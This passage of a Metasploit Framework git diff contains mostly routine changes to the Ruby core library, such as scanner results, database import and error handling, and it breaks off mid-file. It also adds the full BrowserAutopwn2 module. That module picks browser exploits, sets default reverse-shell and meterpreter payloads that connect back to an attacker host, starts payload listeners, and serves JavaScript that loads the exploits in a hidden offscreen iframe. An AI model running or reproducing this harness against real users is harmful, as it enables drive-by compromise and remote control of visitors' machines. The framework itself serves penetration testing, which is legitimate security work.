raise ArgumentError.new("Missing required option :port") if (opts[:port].nil? and opts[:service].nil?) diff --git a/lib/msf/core/auxiliary/udp_scanner.rb b/lib/msf/core/auxiliary/udp_scanner.rb index 27950bf9e7..d64d0c39ff 100644 --- a/lib/msf/core/auxiliary/udp_scanner.rb +++ b/lib/msf/core/auxiliary/udp_scanner.rb @@ -181,7 +181,9 @@ module Auxiliary::UDPScanner end # Called for each response packet - def scanner_process(data, shost, sport) + def scanner_process(data, shost, _sport) + @results[shost] ||= [] + @results[shost] << data end # Called before the scan block diff --git a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb index 6a5ac28cd0..8ca86081fa 100644 --- a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb +++ b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb @@ -241,7 +241,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML host_data = {} host_data[:task] = args[:task] host_data[:workspace] = wspace - host_data[:host] = nils_for_nulls(host.elements["address"].text.to_s.strip) + host_data[:host] = nils_for_nulls(unserialize_object(host.elements["address"])) if bl.include? host_data[:host] next else diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index dd42462dfe..fc2afe3373 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -96,8 +96,9 @@ module Msf::DBManager::Session MetasploitDataModels::AutomaticExploitation::MatchResult.create!( match: session.exploit.user_data[:match], run: session.exploit.user_data[:run], - state: 'succeeded', + state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED, ) + infer_vuln_from_session(session, wspace) elsif session.via_exploit # This is a live session, we know the host is vulnerable to something. infer_vuln_from_session(session, wspace) @@ -191,7 +192,7 @@ module Msf::DBManager::Session via_payload: session.via_payload, } - # In the case of multi handler we cannot yet determine the true + # In the case of exploit/multi/handler we cannot yet determine the true # exploit responsible. But we can at least show the parent versus # just the generic handler: if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] diff --git a/lib/msf/core/db_manager/web.rb b/lib/msf/core/db_manager/web.rb index 414846be95..6d3773ba1b 100644 --- a/lib/msf/core/db_manager/web.rb +++ b/lib/msf/core/db_manager/web.rb @@ -142,8 +142,16 @@ module Msf::DBManager::Web page.cookie = opts[:cookie] if opts[:cookie] page.auth = opts[:auth] if opts[:auth] page.mtime = opts[:mtime] if opts[:mtime] - page.ctype = opts[:ctype] if opts[:ctype] + + + if opts[:ctype].blank? || opts[:ctype] == [""] + page.ctype = "" + else + page.ctype = opts[:ctype] + end + page.location = opts[:location] if opts[:location] + msf_import_timestamps(opts, page) page.save! diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index 203785adf6..11ca89853a 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -66,9 +66,29 @@ module Exe shellcode.encoded + @payload end + def is_warbird?(pe) + # The byte sequence is for the following code pattern: + # .text:004136B4 mov eax, large fs:30h + # .text:004136BA sub ecx, edx + # .text:004136BC sar ecx, 1 + # .text:004136BE mov eax, [eax+0Ch] + # .text:004136C1 add eax, 0Ch + pattern = /\x64\xA1\x30\x00\x00\x00\x2B\xCA\xD1\xF9\x8B\x40\x0C\x83\xC0\x0C/ + sections = {} + pe.sections.each {|s| sections[s.name.to_s] = s} + if sections['.text'].encoded.pattern_scan(pattern).blank? + return false + end + + true + end + def generate_pe # Copy our Template into a new PE pe_orig = Metasm::PE.decode_file(template) + if is_warbird?(pe_orig) + raise RuntimeError, "The template to inject to appears to have license verification (warbird)" + end pe = pe_orig.mini_copy # Copy the headers and exports diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 028c792fe8..81311255c0 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -698,6 +698,20 @@ class Exploit < Msf::Module (target and target.arch) ? target.arch : (arch == []) ? nil : arch end + + # + # Returns whether the requested payload is compatible with the module. + # + # @param [String] payload_name The payload name + # @return [TrueClass] Payload is compatible. + # @return [FalseClass] Payload is not compatible. + # + def is_payload_compatible?(payload_name) + payload_names = compatible_payloads.collect { |entry| entry[0] } + + payload_names.include?(payload_name) + end + # # Returns a list of compatible payloads based on platform, architecture, # and size requirements. @@ -1271,6 +1285,14 @@ class Exploit < Msf::Module end end + if user_data_is_match? + MetasploitDataModels::AutomaticExploitation::MatchResult.create!( + match: user_data[:match], + run: user_data[:run], + state: MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED, + ) + end + framework.db.report_exploit_failure(info) end diff --git a/lib/msf/core/exploit/android.rb b/lib/msf/core/exploit/android.rb index e416884adc..3c08b708fc 100644 --- a/lib/msf/core/exploit/android.rb +++ b/lib/msf/core/exploit/android.rb @@ -87,8 +87,7 @@ module Exploit::Android # The NDK stager is used to launch a hidden APK def ndkstager(stagename, arch) - path = ['data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so'] - data = File.read(File.join(Msf::Config::InstallRoot, *path), :mode => 'rb') + data = MetasploitPayloads.read('android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so') data.gsub!('PLOAD', stagename) end diff --git a/lib/msf/core/exploit/browser_autopwn2.rb b/lib/msf/core/exploit/browser_autopwn2.rb new file mode 100644 index 0000000000..6fe093cc08 --- /dev/null +++ b/lib/msf/core/exploit/browser_autopwn2.rb @@ -0,0 +1,835 @@ +### +# +# The Msf::Exploit::Remote::BrowserAutopwn2 mixin is a replacement for the current BrowserAutoPwn. +# It works with other components such as BrowserExploitServer, BrowserProfileManager, and BES-based +# exploits to perform a faster and smarter automated client-side attack. +# +### + +require 'date' + +module Msf + module Exploit::Remote::BrowserAutopwn2 + + include Msf::Exploit::Remote::BrowserExploitServer + + # @return [Array] A list of initialized BAP exploits + attr_reader :bap_exploits + + # @return [Array] A list of exploit job IDs + attr_reader :exploit_job_ids + + # @return [Array] A list of payload job IDs + attr_reader :payload_job_ids + + # @return [Array] Wanted payloads. + attr_reader :wanted_payloads + + + # The default platform-specific payloads and preferred LPORTS. + # The hash key is the name of the platform that matches what's on the module. + # The loader order is specific while starting them up. + # Firefox payloads use generic handlers. + DEFAULT_PAYLOADS = { + firefox: { payload: 'firefox/shell_reverse_tcp', lport: 4442 }, + android: { payload: 'android/meterpreter/reverse_tcp', lport: 4443 }, + win: { payload: 'windows/meterpreter/reverse_tcp', lport: 4444 }, + linux: { payload: 'linux/x86/meterpreter/reverse_tcp', lport: 4445 }, + unix: { payload: 'cmd/unix/reverse', lport: 4446 }, + osx: { payload: 'osx/x86/shell_reverse_tcp', lport: 4447 }, + java: { payload: 'java/meterpreter/reverse_tcp', lport: 4448 }, + generic: { payload: 'generic/shell_reverse_tcp', lport: 4459 } + } + + + # Returns all the found exploit modules that support BrowserExploitServer by going through all + # the exploits from the framework object. All the usable exploits will be stored in #bap_exploits. + # + # @return [void] + def init_exploits + # First we're going to avoid using #find_all because that gets very slow. + framework.exploits.each_pair do |fullname, place_holder| + # If the place holder isn't __SYMBOLIC__, then that means the module is initialized, + # and that's gotta be the active browser autopwn. + next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}" + + # The user gets to specify which modules to include/exclude + next if datastore['INCLUDE_PATTERN'] && fullname !~ datastore['INCLUDE_PATTERN'] + next if datastore['EXCLUDE_PATTERN'] && fullname =~ datastore['EXCLUDE_PATTERN'] + + mod = framework.exploits.create(fullname) + unless mod + print_status("Failed to load: #{fullname}") + next + end + if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) + @bap_exploits << mod + end + end + end + + + # Returns a prefix type that's unique to this BAP (based on a timestamp & module uuid). + # This overrides Msf::Exploit::Remote::BrowserProfileManager#browser_profile_prefix so that BAP + # and all of its child exploits can share target information with each other. If BAP is active + # but there are other standalone BES exploits running, this allows them not to use (or cleanup) + # each other's data. Also, once requested, the method will not generate another profile prefix + # again, it will just return whatever's been stored in the @browser_profile_prefix instance variable. + # + # @return [String] + def browser_profile_prefix + @browser_profile_prefix ||= "BAP.#{Time.now.to_i}.#{self.uuid}" + end + + # Removes background exploit jobs that belong to BAP. + # + # @return [void] + def rm_exploit_jobs + exploit_job_ids.each do |id| + framework.jobs.stop_job(id) if framework.jobs[id.to_s] + sleep(0.1) + end + end + + + # Removes background payload jobs that belong to BAP. + # + # @return [void] + def rm_payload_jobs + payload_job_ids.each do |id| + framework.jobs.stop_job(id) if framework.jobs[id.to_s] + end + end + + + # Cleans up everything such as profiles and jobs. + # + # @see #rm_exploit_jobs The method for cleaning up jobs. + # @see #Msf::Exploit::Remote::BrowserProfileManager#clear_browser_profiles The method for removing target information. + # @return [void] + def cleanup + print_status("Cleaning up jobs...") + super + configure_job_output(false) + clear_browser_profiles + rm_exploit_jobs + rm_payload_jobs + end + + + # Modifies an exploit's default datastore options. Some of them are user-configurable, + # some must be defined by BAP. + # + # @return [void] + def set_exploit_options(xploit) + # We could do a massive xploit.datastore.merge!(self.datastore), but this seems + # really expensive. Costs more loading time. + + # Set options configurable by the user. + p = select_payload(xploit) + xploit.datastore['PAYLOAD'] = p.first[:payload_name] + xploit.datastore['LPORT'] = p.first[:payload_lport] + xploit.datastore['SRVHOST'] = datastore['SRVHOST'] + xploit.datastore['JsObfuscate'] = datastore['JsObfuscate'] if datastore['JsObfuscate'] + xploit.datastore['CookieName'] = datastore['CookieName'] if datastore['CookieName'] + xploit.datastore['VERBOSE'] = datastore['VERBOSE'] if datastore['VERBOSE'] + xploit.datastore['Retries'] = datastore['Retries'] if datastore['Retries'] + xploit.datastore['SSL'] = datastore['SSL'] if datastore['SSL'] + xploit.datastore['SSLVersion'] = datastore['SSLVersion'] if datastore['SSLVersion'] + xploit.datastore['URIHOST'] = datastore['URIHOST'] if datastore['URIHOST'] + xploit.datastore['URIPORT'] = datastore['URIPORT'] if datastore['URIPORT'] + xploit.datastore['LHOST'] = get_payload_lhost + + # Set options only configurable by BAP. + xploit.datastore['DisablePayloadHandler'] = true + xploit.datastore['BrowserProfilePrefix'] = browser_profile_prefix + xploit.datastore['URIPATH'] = "/#{assign_module_resource}" + xploit.datastore['WORKSPACE'] = self.workspace + + # Register this module as a child and copy datastore options + xploit.register_parent(self) + end + + + # Checks if a resource is already taken or not. + # + # @param resource [String] The resource to check. + # @return [TrueClass] Resource is taken. + # @return [FalseClass] Resource is not taken. + def is_resource_taken?(resource) + taken = false + + bap_exploits.each do |m| + # Prevent partial matching of one resource within another + next unless m.datastore['URIPATH'] + return true if m.datastore['URIPATH'].index(resource) + return true if resource.index(m.datastore['URIPATH']) + end + + taken + end + + + # Returns a unique resource path. + # + # @return [String] A unique resource path. + def assign_module_resource + resource = '' + while + resource = Rex::Text.rand_text_alpha(rand(10) + 4) + break unless is_resource_taken?(resource) + end + + resource + end + + + # Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top. + # This method is part of what makes BAP smarter. However, the list rearranged by this exploit + # will not actually be the same exploit list served to every client. When a client a request, + # #get_suitable_exploits will generate another list that will actually be used by the client + # by going through what we have here, and filter out all the exploit modules that don't match + # the target's requirements. + # + # @see #bap_exploits The read-only attribute. + # @see #sort_date_in_group The method for sorting by disclosure date + # @see #sort_group_by_rank The method for sorting by rank + # @see #sort_bap_modules The method for breaking the module list into groups + # @see #finalize_sorted_modules The method for finalizing bap_exploits + # @see #get_suitable_exploits + # @return [void] + def sort_bap_exploits + bap_groups = group_bap_modules + bap_groups = sort_date_in_group(bap_groups) + bap_groups = sort_group_by_rank(bap_groups) + finalize_sorted_modules(bap_groups) + end + + + # Sorts a grouped module list by disclosure date. + # + # @param bap_groups [Hash] A grouped module list. + # @return [Hash] A hash with each module list sorted by disclosure date. + def sort_date_in_group(bap_groups) + bap_groups.each_pair do |ranking, module_list| + bap_groups[ranking] = module_list.sort_by {|m| + dstr = m.disclosure_date || "1970-01-01" + Date.parse(dstr) rescue Date.parse("1970-01-01") + }.reverse + end + end + + + # Sorts a module list by ranking. + # + # @param bap_groups [Hash] A grouped module list. + # @return [Hash] A hash grouped by ranking. + def sort_group_by_rank(bap_groups) + Hash[bap_groups.sort_by {|k,v| k}.reverse] + end + + + # Breaks @bap_exploits into groups for sorting purposes. + # + # @see #bap_exploits + # @return [Hash] A module list grouped by rank. + def group_bap_modules + bap_groups = {} + RankingName.each_pair do |ranking, value| + bap_groups[ranking] = [] + bap_exploits.each do |m| + next if m.rank != ranking + bap_groups[ranking] << m + end + end + bap_groups + end + + + # Modifies @bap_exploit by replacing it with the rearranged module list. + # + # @see #bap_exploits The read-only attribute. + # @param bap_groups [Hash] A grouped module list. + # @return [void] + def finalize_sorted_modules(bap_groups) + @bap_exploits = [] + bap_groups.each_pair do |ranking, module_list| + module_list.each do |m| + break if @bap_exploits.length >= datastore['MaxExploitCount'] + @bap_exploits << m + end + end + end + + + # Returns a payload name. Either this will be the user's choice, or falls back to a default one. + # + # @see DEFAULT_PAYLOADS The default settings. + # @param platform [Symbol] Platform name. + # @return [String] Payload name. + def get_selected_payload_name(platform) + payload_name = datastore["PAYLOAD_#{platform.to_s.upcase}"] + + # The payload is legit, we can use it. + # Avoid #create seems faster + return payload_name if framework.payloads.keys.include?(payload_name) + + default = DEFAULT_PAYLOADS[platform][:payload] + + # The user has configured some unknown payload that we can't use, + # fall back to default. + default + end + + + # Returns the selected payload's LPORT. + # + # @param platform [Symbol] + # @return [Fixnum] + def get_selected_payload_lport(platform) + datastore["PAYLOAD_#{platform.to_s.upcase}_LPORT"] + end + + + # Returns the selected payload's LHOST. If no LHOST is set by the user (via the datastore option), + # then the method automatically generates one by Rex. + # + # @return [String] + def get_payload_lhost + datastore['LHOST'] || Rex::Socket.source_address + end + + + # Creates payload listeners. The active job IDs will be tracked in #payload_job_ids so that + # we know how to find them and then clean them up. + # + # @note FireFox payload is skipped because there's no handler for it. + # @see #payload_job_ids + # @return [void] + def start_payload_listeners + # Spawn nothing if the user doesn't want to pop sessions. + return if datastore['MaxSessionCount'] == 0 + + # Don't repeat launching payload handlers + wanted_payloads.uniq! { |e| e[:payload_name] } + + wanted_payloads.each do |wanted| + multi_handler = framework.exploits.create('multi/handler') + + # We have to special case firefox + payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name] + + # User-configurable options + # multi_handler.datastore.merge!(self.datastore) could be used, but + # really expensive. Costs more loading time. + multi_handler.datastore['LHOST'] = get_payload_lhost + multi_handler.datastore['PAYLOAD'] = payload_name + multi_handler.datastore['LPORT'] = wanted[:payload_lport] + multi_handler.datastore['DebugOptions'] = datastore['DebugOptions'] if datastore['DebugOptions'] + multi_handler.datastore['AutoLoadAndroid'] = datastore['AutoLoadAndroid'] if datastore['AutoLoadAndroid'] + multi_handler.datastore['PrependMigrate'] = datastore['PrependMigrate'] if datastore['PrependMigrate'] + multi_handler.datastore['PrependMigrateProc'] = datastore['PrependMigrateProc'] if datastore['PrependMigrateProc'] + multi_handler.datastore['InitialAutoRunScript'] = datastore['InitialAutoRunScript'] if datastore['InitialAutoRunScript'] + multi_handler.datastore['AutoRunScript'] = datastore['AutoRunScript'] if datastore['AutoRunScript'] + multi_handler.datastore['CAMPAIGN_ID'] = datastore['CAMPAIGN_ID'] if datastore['CAMPAIGN_ID'] + multi_handler.datastore['HandlerSSLCert'] = datastore['HandlerSSLCert'] if datastore['HandlerSSLCert'] + multi_handler.datastore['StagerVerifySSLCert'] = datastore['StagerVerifySSLCert'] if datastore['StagerVerifySSLCert'] + multi_handler.datastore['PayloadUUIDTracking'] = datastore['PayloadUUIDTracking'] if datastore['PayloadUUIDTracking'] + multi_handler.datastore['PayloadUUIDName'] = datastore['PayloadUUIDName'] if datastore['PayloadUUIDName'] + multi_handler.datastore['IgnoreUnknownPayloads'] = datastore['IgnoreUnknownPayloads'] if datastore['IgnoreUnknownPayloads'] + multi_handler.datastore['SessionRetryTotal'] = datastore['SessionRetryTotal'] if datastore['SessionRetryTotal'] + multi_handler.datastore['SessionRetryWait'] = datastore['SessionRetryWait'] if datastore['SessionRetryWait'] + multi_handler.datastore['SessionExpirationTimeout'] = datastore['SessionExpirationTimeout'] if datastore['SessionExpirationTimeout'] + multi_handler.datastore['SessionCommunicationTimeout'] = datastore['SessionCommunicationTimeout'] if datastore['SessionCommunicationTimeout'] + + # Configurable only by BAP + multi_handler.datastore['ExitOnSession'] = false + multi_handler.datastore['EXITFUNC'] = 'thread' + multi_handler.datastore['WORKSPACE'] = self.workspace + + # Register this module as a child and copy datastore options + multi_handler.register_parent(self) + + # Now we're ready to start the handler + multi_handler.exploit_simple( + 'LocalInput' => nil, + 'LocalOutput' => nil, + 'Payload' => payload_name, + 'RunAsJob' => true + ) + @payload_job_ids << multi_handler.job_id + end + end + + + # Returns the human-readable version of the rank. + # + # @param rank [Fixnum] + # @return [String] + def parse_rank(rank) + RankingName[rank].to_s.capitalize + end + + + # Checks whether the payload is compatible with the module based on platform information. + # Best for single-platform modules and for performance. + # + # @param m [Object] Module. + # @param payload_platform [Symbol] Payload platform. + # @return [TrueClass] Payload is compatible. + # @return [FalseClass] Payload is not compatible. + def is_payload_platform_compatible?(m, payload_platform) + begin + platform_obj = Msf::Module::Platform.find_platform(payload_platform.to_s) + rescue ArgumentError + false + end + + return true if platform_obj && m.platform.platforms.include?(platform_obj) + + false + end + + + # Checks whether the payload is compatible with the module based on the module's compatibility list + # + # @param compatible_payloads [Array] A list of payloads that are compatible + # @param payload_name [String] + # @return [TrueClass] Payload is compatible. + # @return [FalseClass] Payload is not compatible. + def is_payload_compatible?(compatible_payloads, payload_name) + compatible_payloads.each do |k| + return true if k[0] == payload_name + end + + false + end + + + # Checks if the module is multi-platform based on the directory path. + # + # @param m [Object] Module. + # @return Module [TrueClass] is multi-platform. + # @return Module [FalseClass] is not multi-platform. + def is_multi_platform_exploit?(m) + m.fullname.include?('multi/') + end + + + # Returns an appropriate payload that's compatible with the module. + # + # @param m [Object] A module that's been initialized. + # @return [Array] Payload name. Example: 'windows/meterpreter/reverse_tcp' + def select_payload(m) + compatible_payloads = [] + + module_payloads = nil + + DEFAULT_PAYLOADS.each_pair do |platform, info| + payload_choice = { + :payload_name => get_selected_payload_name(platform), + :payload_lport => get_selected_payload_lport(platform) + } + + if !is_multi_platform_exploit?(m) && !m.platform.platforms.empty? && is_payload_platform_compatible?(m, platform) + compatible_payloads << payload_choice + break + else + # The #compatible_payloads method is super expensive (slow). By doing it this way, + # I managed to shave off seconds. + module_payloads ||= m.compatible_payloads + + if is_payload_compatible?(module_payloads, payload_choice[:payload_name]) + compatible_payloads << payload_choice + end + end + end + + @wanted_payloads.concat(compatible_payloads) + + compatible_payloads + end + + + # Starts exploits. + # + # @return [void] + def start_exploits + bap_exploits.each do |m| + set_exploit_options(m) + m.exploit_simple( + 'LocalInput' => nil, + 'LocalOutput' => nil, + 'Quiet' => true, + 'Target' => 0, + 'Payload' => m.datastore['PAYLOAD'], + 'RunAsJob' => true + ) + @exploit_job_ids << m.job_id + end + end + + + # Sets up BAPv2. This is like our main function. + # + # @return [void] + def setup + t1 = Time.now + + super + @bap_exploits = [] + @exploit_job_ids = [] + @payload_job_ids = [] + @wanted_payloads = [] + + # #split might be expensive if the file is really big + @whitelist = datastore['AllowedAddresses'] ? datastore['AllowedAddresses'].split : nil + + print_status("Searching BES exploits, please wait...") + init_exploits + sort_bap_exploits + + print_status("Starting exploit modules...") + start_exploits + + print_status("Starting listeners...") + start_payload_listeners + + t2 = Time.now + print_status("Time spent: #{(t2-t1).inspect}") + + configure_job_output(true) + end + + # Configures the output of sub-jobs + # + # @return [void] + def configure_job_output(on=true) + (@exploit_job_ids + @payload_job_ids).each do |jid| + job = framework.jobs[jid.to_s] + next unless job + job.ctx.each do |m| + next unless m.respond_to? :user_output + m.user_output = on ? self.user_output : nil + break + end + end + end + + + # Prints all the exploits that BAP will consider using. But this isn't the actual list of + # exploits that BAP will use for each target. + # + # @return [void] + def show_ready_exploits + columns = ['Order', 'Rank', 'Name', 'Path', 'Payload'] + + # If not verbose, you're not in dev mode. + # As an user, you shouldn't be using any of these paths anyway. + columns.delete('Path') if !datastore['VERBOSE'] + + table = Rex::Ui::Text::Table.new( + 'Header' => 'Exploits', + 'Indent' => 1, + 'Columns' => columns + ) + + # Without the order, sometimes the Rex table messes up even though in the array + # the order looks right. So don't get rid of this. + order = 1 + + bap_exploits.each do |m| + row = [] + row << order + row << parse_rank(m.rank) + row << m.shortname + row << m.datastore['URIPATH'] if datastore['VERBOSE'] + row << "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" + table << row + order += 1 + end + + print_line + print_status("The following is a list of exploits that BrowserAutoPwn will consider using.") + print_status("Exploits with the highest ranking and newest will be tried first.") + print_line + print_line table.to_s + end + + + # Prints information such as what exploits will be used, and the BAP URL. + # + # @return [void] + def start_service + super + show_ready_exploits + proto = (datastore['SSL'] ? "https" : "http") + + if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0' + srvhost = datastore['URIHOST'] + elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0' + srvhost = datastore['SRVHOST'] + else + srvhost = Rex::Socket.source_address + end + + if datastore['URIPORT'] && datastore['URIPORT'] != 0 + srvport = datastore['URIPORT'] + else + srvport = datastore['SRVPORT'] + end + + service_uri = "#{proto}://#{srvhost}:#{srvport}#{get_resource}" + print_good("Please use the following URL for the browser attack:") + print_good("BrowserAutoPwn URL: #{service_uri}") + end + + + # Returns a list of suitable exploits for the current client based on what #sort_bap_exploits + # gives us. It will do a global exploitable requirement check (the best it can do). There's + # actually a target-specific exploitable requirement check too, but that is performed in + # BrowserExploitServer while the exploit is being served. In other words, it is possible + # #get_suitable_exploits might not be 100% accurate (but pretty good, it depends on how the + # exploit dev accurately defines his/her global requirements), but the exploit always has a + # choice to bail at the last second if it decides it is actually not suitable for the client. + # That way we don't risk being too wreckless with our attack. + # + # @param cli [Socket] Socket for the browser + # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser + # @return [Array] + def get_suitable_exploits(cli, request) + current_exploit_list = [] + tag = retrieve_tag(cli, request) + profile_info = browser_profile[tag] + bap_exploits.each do |m| + if m.get_bad_requirements(profile_info).empty? + current_exploit_list << m + end + end + + if datastore['ShowExploitList'] + show_exploit_list(cli.peerhost, tag, current_exploit_list) + end + + current_exploit_list + end + + + # Logs a click that includes the suitable exploit list. + # + # @param ip [String] The target's IP address. + # @param data [String] (Optional) CSV data that contains the exploit list. + # @return [void] + def log_click(ip, data='') + report_note( + :host => ip, + :type => 'bap.clicks', + :data => data, + :update => :unique) + end + + + # Prints a list of suitable exploits for the current list. + # + # @see #sort_bap_exploits Explains how the exploit list is generated at first. + # @see #get_suitable_exploits Explains how we serve exploits to each client. + # @return [void] + def show_exploit_list(ip, tag, current_exploit_list) + order = 1 + table = Rex::Ui::Text::Table.new( + 'Header' => '', + 'Indent' => 1, + 'Columns' => ['Order', 'IP', 'Exploit'] + ) + current_exploit_list.each do |m| + table << [order, ip, m.shortname] + order += 1 + end + + if table.rows.empty? + print_status("User #{cli.peerhost} (Tag: #{tag}) visited our malicious link, but no exploits found suitable.") + else + # Update the exploit list data + log_click(cli.peerhost, table.to_csv) + print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}") + end + end + + + # Returns a list of exploit URLs. This is used by #build_html so the client can load our + # exploits one by one. + # + # @see #build_html + # @param cli [Socket] Socket for the browser + # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser + # @return [Array] + def get_exploit_urls(cli, request) + urls = [] + + exploit_list = get_suitable_exploits(cli, request) + + exploit_list.each do |mod| + proto = datastore['SSL'] ? 'https' : 'http' + # We haven't URIHOST and URIPORT into account here because + # the framework uses them only on `get_uri` + host = '' + if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0' + host = datastore['URIHOST'] + elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0' + host = datastore['SRVHOST'] + else + host = Rex::Socket.source_address + end + if datastore['URIPORT'] && datastore['URIPORT'] != 0 + port = datastore['URIPORT'] + else + port = datastore['SRVPORT'] + end + + resource = mod.datastore['URIPATH'] + url = "#{proto}://#{host}:#{port}#{resource}" + urls << url + end + + urls + end + + + # Handles client requests specific for BAP. + # + # @param cli [Socket] Socket for the browser + # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser + # @return [void] + def on_request_uri(cli, request) + # Check if target is on our whitelist + if @whitelist && !is_ip_targeted?(cli.peerhost) + print_status("Client is trying to connect but not on our whitelist.") + send_not_found(cli) + return + end + + log_click(cli.peerhost) + + super + end + + + # Returns true if the IP is on our whitelist. + # + # @param [String] cli_ip Client's IP. + # @return [TrueClass] The IP is on the whitelist. + # @return [FalseClass] The IP is not on the whitelist. + def is_ip_targeted?(cli_ip) + return true unless @whitelist + @whitelist.include?(cli_ip) + end + + + # Returns a number of sessions obtained by BAP's payload handlers. + # + # @return [Fixnum] A session count. + def session_count + total = 0 + + payload_job_ids.each do |id| + job_workspace = framework.jobs[id.to_s].ctx.first.datastore['WORKSPACE'] + if job_workspace == self.workspace + total += framework.jobs[id.to_s].ctx.first.session_count + end + end + + total + end + + + # Returns the custom 404 URL set by the user + # + # @return [String] + def get_custom_404_url + datastore['Custom404'].to_s + end + + + # Returns the HTML that serves our exploits. + # + # @param cli [Socket] Socket for the browser + # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser + # @return [String] HTML + def build_html(cli, request) + exploit_list = get_exploit_urls(cli, request) + + if datastore['MaxSessionCount'] > -1 && session_count >= datastore['MaxSessionCount'] + print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessionCount']}") + if datastore['HTMLContent'].blank? + send_not_found(cli) + return '' + else + return datastore['HTMLContent'] + end + elsif exploit_list.empty? + print_status("No suitable exploits to send.") + if datastore['HTMLContent'].blank? + send_not_found(cli) + return '' + else + return datastore['HTMLContent'] + end + end + + + # Some Flash exploits don't seem to work well with a hidden iframe. + js = %Q| + var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}]; + + function setElementStyle(e, opts) { + if (typeof e.style.setAttribute == 'undefined') { + var attributeString = ''; + for (var key in opts) { attributeString += key + ":" + opts[key] + ";" } + e.setAttribute("style", attributeString); + } else { + for (var key in opts) { + e.style.setAttribute(key, opts[key]); + } + } + } + + function moveIframe(e) { + var opts = { + 'position': 'absolute', + 'left': screen.width * -screen.width + } + setElementStyle(e, opts); + } + + window.onload = function() { + var e = document.createElement("iframe"); + e.setAttribute("id", "myiframe"); + moveIframe(e); + document.body.appendChild(e); + loadExploit(); + } + + function loadExploit() { + var e = document.getElementById("myiframe"); + var firstUri = exploitList.splice(0, 1); + if (firstUri != '') { + e.setAttribute("src", firstUri); + setTimeout("loadExploit()", #{datastore['ExploitReloadTimeout']}); + } + } + | + + %Q| + + + + + + + #{datastore['HTMLContent']}| + end + + end +end diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index 3bf3da504e..02e6fd1296 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -242,7 +242,7 @@ module Msf dev ||= datastore['INTERFACE'] dst_mac, src_mac = lookup_eth(dhost, dev) if dst_mac == nil and not bcast - return false + raise RuntimeError, 'Unable to determine the destination MAC and bcast is false' end inject_eth(:payload => payload, :eth_daddr => dst_mac, :eth_saddr => src_mac) end @@ -250,7 +250,7 @@ module Msf # The return value either be a PacketFu::Packet object, or nil def inject_reply(proto=:udp, pcap=self.capture) # Defaults to ~2 seconds - to = (datastore['TIMEOUT'] * 4) / 1000.0 + to = ((datastore['TIMEOUT'] || 500).to_f * 4) / 1000.0 raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap begin ::Timeout.timeout(to) do diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index ae570e1cd3..709c797925 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -108,18 +108,25 @@ module Exploit::CmdStager # @option opts :decoder [Symbol] The decoder stub to use. # @param pl [String] String containing the payload to execute # @return [Array] The list of commands to execute - # @raise [ArgumentError] raised if the cmd stub cannot be generated + # @raise [ArgumentError] raised if the exe or cmd stub cannot be generated def generate_cmdstager(opts = {}, pl = nil) select_cmdstager(opts) - self.exe = generate_payload_exe(:code => pl) + exe_opts = {code: pl}.merge( + platform: target_platform, + arch: target_arch + ) + self.exe = generate_payload_exe(exe_opts) + + if exe.nil? + raise ArgumentError, 'The executable could not be generated' + end self.stager_instance = create_stager cmd_list = stager_instance.generate(opts_with_decoder(opts)) - if (cmd_list.nil? || cmd_list.length < 1) - print_error("The command stager could not be generated") - raise ArgumentError + if cmd_list.nil? || cmd_list.length.zero? + raise ArgumentError, 'The command stager could not be generated' end cmd_list @@ -127,8 +134,8 @@ module Exploit::CmdStager # Show the progress of the upload while cmd staging # - # @param total [Float] The total number of bytes to send - # @param sent [Float] The number of bytes sent + # @param total [Float] The total number of bytes to send. + # @param sent [Float] The number of bytes sent. # @return [void] def progress(total, sent) done = (sent.to_f / total.to_f) * 100 @@ -308,9 +315,10 @@ module Exploit::CmdStager def execute_cmdstager_end(opts) end - # Code to execute each command from the. This method is designed to be - # overriden by a module using this mixin. + # Code called to execute each command via an arbitrary module-defined vector. + # This method needs to be overriden by modules using this mixin. # + # @param cmd [String] The command to execute. # @param opts [Hash] Hash of configuration options. def execute_command(cmd, opts) raise NotImplementedError diff --git a/lib/msf/core/exploit/dhcp.rb b/lib/msf/core/exploit/dhcp.rb index c179a747f2..4c149c2559 100644 --- 